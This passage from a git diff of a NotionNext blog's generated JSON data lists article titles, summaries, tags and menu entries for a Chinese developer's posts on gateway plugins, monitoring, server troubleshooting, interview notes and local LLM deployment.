API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":2,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"2024-1-24","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"2024-1-24","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"2024-1-21","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"2024-1-21","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"微服务"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\212\230\350\205\276.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\212\230\350\205\276.json" new file mode 100644 index 000000000..ac21f84de --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\212\230\350\205\276.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","sl